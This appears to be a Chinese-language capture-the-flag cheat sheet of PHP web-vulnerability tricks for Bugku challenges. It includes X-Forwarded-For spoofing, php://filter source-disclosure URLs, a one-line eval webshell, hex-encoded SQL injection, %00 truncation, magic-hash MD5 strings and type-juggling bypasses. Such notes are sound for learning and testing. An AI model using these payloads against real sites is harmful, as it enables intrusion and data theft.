本地访问和伪造ip
X-Forwarded-For: 127.0.0.1
域名解析
可以更改HTTP头部host字段为flag.bugku.com
把 flag.bugku.com 解析到120.24.86.145
直接在
c:\windows\system32\drivers\etc\hosts
打开后进行修改
在最后添加上 我们需要的
120.24.86.145 flag.bugku.com
即可。
本地包含
函数:PHP file_get_contents() 函数
定义和用法
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
payload:?hello=file_get_contents(‘./flag.php’)
robots.txt
一般网站会有robots.txt来规范爬虫的行为,利用robots.txt有可能获取到网站重要文件所在的位置。通常可用御剑扫出来。
php intval()函数漏洞
int intval(mixed $var [, int $base]);
intval()获取变量的整型值(截取变量的整数部分,直接舍去小数)
说明intval()转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0
int转string:
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);
string转int:intval()函数。
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0
// 可以使用字符串-0转换,来自于wechall的方法
intval可以被%00截断
if($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}
如果当$req[‘number’]=0%00即可绕过。
php is_numeric(mixed $var)
这是检测变量是否为数字或者数字字符串
<?php
echo is_numeric(233333); # 1
echo is_numeric('233333'); # 1
echo is_numeric(0x233333); # 1
echo is_numeric('0x233333'); # 1
echo is_numeric('233333abc'); # 0
?>
也可以通过科学计数发来绕过 比如:1 == 1E0
is_numeric函数可绕过产生SQL注入
$s = is_numeric($_GET['s'])?$_GET['s']:0;
$sql="insert into test(type)values($s);"; //是 values($s) 不是values('$s')
mysql_query($sql);
上面这个片段程序是判断参数s是否为数字,是则返回数字,不是则返回0,然后带入数据库查询。
我们把’1 or 1’ 转换为16进制 0x31206f722031 为s参数的值。就可以进行注入了。
strip_tags(string,allow) 逻辑错误
strip_tags() 函数是用来剥去字符串中的 HTML、XML 以及 PHP 的标签的函数。返回剥除allow标签以外的内容。
弱类型比较
若字符串以数字开头,则取开头数字作为转换结果,若无则输出0
'123abc' == 123
$GLOBALS
$GLOBALS:是一个数组,包含了全局作用域中可用的全部变量。变量的名字就是数组的键。 合理利用$GLOBALS全局变量也许可以获得可利用变量信息。常与var_dump()函数连用。
php://伪协议
php://filter伪协议
php://filter 的参数列表
- read 读取
- write 写入
- resource 数据来源(必须的)
read参数值可以为
- string.stip_tags 将数据流中的HTML标签清除
- string.toupper 将数据流中的内容转换为大写
- string.tolower 将数据流中的内容转换为小写
- convert.base64-encode 将数据流中的内容转换为base64编码
- convertr.base64-decode 与上面对应的解码
利用这个函数漏洞需和文件包含漏洞一起使用,可以读取网页的PHP源代码
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
php://input 一句话木马
php://input 用来接收post数据的
可以接收一句话木马
<?php eval($_POST['a']); ?>
md5()和sha1()
PHP在处理哈希字符串时,如果利用”!=”或”==”来对哈希值进行比较,它把每一个以”0x”开头的哈希值都解释为科学计数法0的多少次方(为0),所以如果两个不同的密码经过哈希以后,其哈希值都是以”0e”开头的,那么php将会认为他们相同。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
同时md5()是不能处理数组的
例题详见:bugku备份是个好习惯
ereg()和eregi()函数漏洞 %00截断
字符串对比解析,ereg函数存在%00截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。
int eregi(string pattern, string string, [array regs]);
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
返回值:如果匹配成功返回true,否则,则返回false
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
在这里如果 $_GET[‘password’]为数组,则返回值为NULL
如果为123 或asd 或 12as或 123%00&&&**,则返回值为true
其他为false
变量覆盖
PHP extract() 函数
该函数使用数组键名作为变量名,使用数组键值作为变量值。
<?php
$auth = '0';
// 这里可以覆盖$auth的变量值
print_r($_GET);
echo "</br>";
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>
extract可以接收数组,然后重新给变量赋值。
同时!PHP的特性$可以用来赋值变量名也能导致变量覆盖!
<?php
$a='hi';
foreach($_GET as $key => $value) {
echo $key."</br>".$value;
$$key = $value;
}
print "</br>".$a;
?>
strcmp函数
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
比较的时候先将两个参数先转换成string类型。
当比较数组和字符串的时候,返回是null。
<?php
$get=[];
$b='a';
var_dump(@strcmp($get, $b));
if (@strcmp($get, $b)) {
# code...
echo "ture";
}else{
echo "flase";
}
?>
输出结果为:NULL flase
php中零值判断缺陷
php在比较字符串和数值做比较时,会将字符串转化为数字。再进行比较。
<?php
var_dump((int)('1e-1000')); // 1>0
echo "<br>";
var_dump('1e-1000'==0);//科学技术法转化为数字后,由于数字太小被php认为等于0
echo "<br>";
var_dump('1e-10'>0);
echo "<br>";
var_dump('aaaaaa'==0);
echo "<br>";
var_dump('1aaaa'>0);
echo "<br>";
var_dump('addd1'==0);
?>
输出结果:
int(1)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
switch()
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型,效果相当于intval函数。当switch没有break时可以继续往下执行。
array_search()函数
用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
当检索中带入字符串,比如”sky”,会intval(‘sky’)==0,从而致使数字数组也可以查询成功
$array_search=['haha','hehe',0];
$eee = @array_search("XMAN", $array_search);
if($eee){
echo "array_search()检索字符串绕过成功";
}else{
echo "array_search()检索字符串绕过失败";
}
输出结果:
array_search()检索字符串绕过成功。
md5($password,true)
可以让pass=ffifdyop 来绕过。